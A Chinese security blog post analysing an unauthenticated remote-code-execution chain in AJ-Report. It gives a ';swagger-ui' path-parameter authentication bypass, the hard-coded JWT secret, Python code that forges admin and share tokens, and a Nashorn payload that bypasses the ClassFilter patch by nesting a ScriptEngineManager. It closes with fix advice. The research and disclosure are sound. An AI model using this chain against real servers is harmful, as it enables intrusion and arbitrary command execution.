文章首发于先知社区,传送门。
TL;DR
前几天在公众号看到AJ-Report
未授权远程命令执行,这个洞还挺通杀的。今天看了下命令执行似乎已经修复了,但是这里的patch
没啥用。而且最关键的鉴权绕过没修,其实鉴权修复了也会有默认key
导致鉴权绕过的问题。文末给出了利用工具。
漏洞分析
鉴权绕过
这个系统的接口绝大部分都需要登陆,需要绕一下。
鉴权在TokenFilter
:
经典的通过request.getRequestURI()
拿到uri
,后面如果uri
包含swagger-ui
直接放行。
因为是拿的URI
,没有参数信息所以没法用?swagger-ui
绕。
但可以用;swagger-ui
绕过,因为parsePathParameters:950, CoyoteAdapter (org.apache.catalina.connector)
这里会取分号作为pathParamStart
。
而pathParamEnd
这里会取/
作为结尾。最后截断中间的字符串,也就是说/a;b/c
最终会解析为/a/c
所以用/dataSetParam;swagger-ui/verification
就能请求到后端接口了。
另一处鉴权绕过(默认key)
如果swagger-ui
放行那里被修复了怎么办呢?可以看到后续会校验token
。
校验token
类也是安吉自己写的,给jwt payload
加了四个key-value pairs
。
public String createToken(String username, String uuid, Integer type, String tenantCode) {
String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret()));
return token;
}
public String getUsername(String token) {
Claim claim = (Claim)this.getClaim(token).get("username");
return claim == null ? null : claim.asString();
}
重点来了,通过this.gaeaProperties.getSecurity().getJwtSecret()
拿到密钥。
jwt
密钥在GaeaProperties$Security
类里,而setJwtSecret
方法没有被调用过,因此key
是默认的。
伪造jwt
即可。
def getFakeToken():
payload = {
"type": 0,
"uuid": "627750b8be86421d94facec7e4dba555",
"tenant": "tenantCode",
"username": "admin"
}
fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256')
return fakeToken
通过校验。
光伪造token
还不够。后面还有个登陆缓存验证,缓存逻辑具体可参考/accessUser/login
路由逻辑。token
的时效是1小时,如果远程一小时内没有admin
登录过那么缓存就会失效。
但是看到这里出现了转机,接下来会校验shareToken
,如果reportCodeList.stream().noneMatch(uri::contains)
,也就是说uri
包含reportCode
的话就返回false
。而shareToken
是从Share-Token
请求头取的。
List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview") && reportCodeList.stream().noneMatch(uri::contains)) {
ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}
再看一下shareToken
签名,密钥同样硬编码。
shareToken
通过以下方式伪造:
def getFakeShareToken():
payload = {
"shareCode": 1,
"reportCode": "/", #通用性
"exp": 4070880000,
"iat": 1715402146,
"sharePassword": 1
}
fakeShareToken = jwt.encode(payload,JWT_SECRET,algorithm='HS256')
return fakeShareToken
伪造完shareToken
就可以访问接口了。
nashorn引擎执行表达式绕过
漏洞在\src\main\java\com\anjiplus\template\gaea\business\modules\datasetparam\controller\DataSetParamController.java
中的/verification
路由,可以看到会调用verification
方法。
跟进verification
方法,该方法调用了engine.eval
执行一段表达式。
而engine
针对CNVD-2024-15077
做了PATCH
。
看下diff
,加了ClassFilter
,过滤了命令执行的三个类。
不太了解这个防御逻辑是啥,先尝试打断点看看是什么逻辑:
到这里有个classFilter
。调了个寂寞,还是看看怎么ban
掉类的逻辑吧。
先用原版payload
打一下,简单解释下,流传在网上的payload
定义了verification
函数是因为执行完js
后会调用js
中的verification
函数,随后将执行结果返回。verification
函数就是常规的调用java.lang.ProcessBuilder('whoami').start()
执行命令。
function verification(data){var se= new javax.script.ScriptEngineManager();var r = new java.lang.ProcessBuilder('whoami').start().getInputStream();result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}
执行失败,提示找不到这个类。
打异常断点看调用栈:
classNotFound:162, NativeJavaPackage (jdk.nashorn.internal.runtime)
invokeStatic_L_V:-1, 282828951 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1395859879 (java.lang.invoke.LambdaForm$BMH)
dontInline:-1, 1043162593 (java.lang.invoke.LambdaForm$reinvoker)
guard:-1, 1912131086 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 23493645 (java.lang.invoke.LambdaForm$MH)
verification:1, Script$Recompilation$4$27A$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_L3_L:-1, 246550802 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 664302677 (java.lang.invoke.LambdaForm$MH)
invoke:639, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
callMember:199, ScriptObjectMirror (jdk.nashorn.api.scripting)
invokeImpl:386, NashornScriptEngine (jdk.nashorn.api.scripting)
invokeFunction:190, NashornScriptEngine (jdk.nashorn.api.scripting)
verification:106, DataSetParamServiceImpl
都是匿名函数,感觉不太能debug
。。
经过一番检索发现此处针对nashorn
的安全过滤是JEP202
,还是看文档吧:https://openjdk.org/jeps/202。
Provide a Java class-access filtering interface, ClassFilter, that can be implemented by Java applications that use Nashorn.
提供一个 Java 类访问过滤接口 ,ClassFilter可以由使用 Nashorn 的 Java 应用程序实现。
Nashorn will query a provided instance of the ClassFilter interface before accessing any Java class from a script in order to determine whether the access is allowed. This will occur whether or not a security manager is present.
Nashorn 将在从脚本访问任何 Java 类之前查询提供的接口实例ClassFilter,以确定是否允许访问。无security manager是否存在,都会发生这种情况。
A script should not be able to subvert restrictions by a class filter in any way, not even by using Java's reflection APIs.
脚本不应该能够以任何方式破坏类过滤器的限制,即使使用 Java 的反射 API 也不行。
如果存在类过滤器,即使不存在security manager
,Nashorn
也不让你用反射。如果反射可用那么使用类过滤器就没有意义了,因为可以使用反射来绕过类过滤器。尝试了一下反射确实不行。
不过参考JEP290
大概猜到JEP202
也(只)是会过滤类,而不是把命令执行的类阉割了。
所以直接用套娃的方式绕就行,在里面再new
一个ScriptEngineManager
,然后再eval
就行。
function verification(data){var se= new javax.script.ScriptEngineManager();var r = se.getEngineByExtension(\"js\").eval(\"new java.lang.ProcessBuilder('whoami').start().getInputStream();\");result=new java.io.BufferedReader(new java.io.InputStreamReader(r));ss='';while((line = result.readLine()) != null){ss+=line};return ss;}
执行命令:
别的路由
其实/dataSet/testTransform
路由也会调用到engine.eval
,但是没有回显。有兴趣的师傅可以看一下,这个接口的逻辑是执行完表达式发起一个http
请求,返回的是http
的response
。
修复
主要问题在鉴权而不是 engine.eval
, 应该使用 reqeust.getServletPath()
获取 URI
,或者干脆把 swagger-ui
放行逻辑那里删掉。
其次需要修改jwt
默认密钥。